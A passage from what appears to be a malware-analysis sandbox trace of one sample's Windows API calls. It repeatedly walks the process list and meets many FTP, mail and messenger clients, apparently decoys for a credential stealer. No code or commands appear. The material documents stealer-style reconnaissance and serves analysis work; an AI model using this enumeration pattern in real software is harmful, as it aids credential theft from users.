lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.129] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0253.131] CloseHandle (hObject=0x13b0) returned 1 [0253.131] Sleep (dwMilliseconds=0x64) [0253.178] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0253.194] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.196] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.198] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.200] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.202] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.204] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.255] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.258] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.260] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.261] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.264] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.265] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.267] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.269] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.271] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.274] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.277] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.280] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.282] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.284] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.286] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.290] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.292] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.294] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.365] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0253.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0253.369] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.372] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0253.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0253.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0253.376] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0253.378] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0253.379] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0253.381] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0253.383] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0253.384] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0253.386] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0253.387] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0253.390] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0253.391] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0253.393] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0253.444] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0253.446] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0253.448] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0253.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0253.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0253.452] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0253.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0253.455] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0253.456] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0253.458] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0253.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0253.460] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0253.462] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0253.464] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0253.466] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0253.468] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0253.470] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0253.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0253.474] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0253.476] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0253.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0253.479] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0253.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0253.483] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0253.523] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0253.526] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0253.528] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0253.530] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0253.532] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0253.534] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0253.536] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0253.538] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0253.540] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0253.542] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0253.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0253.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 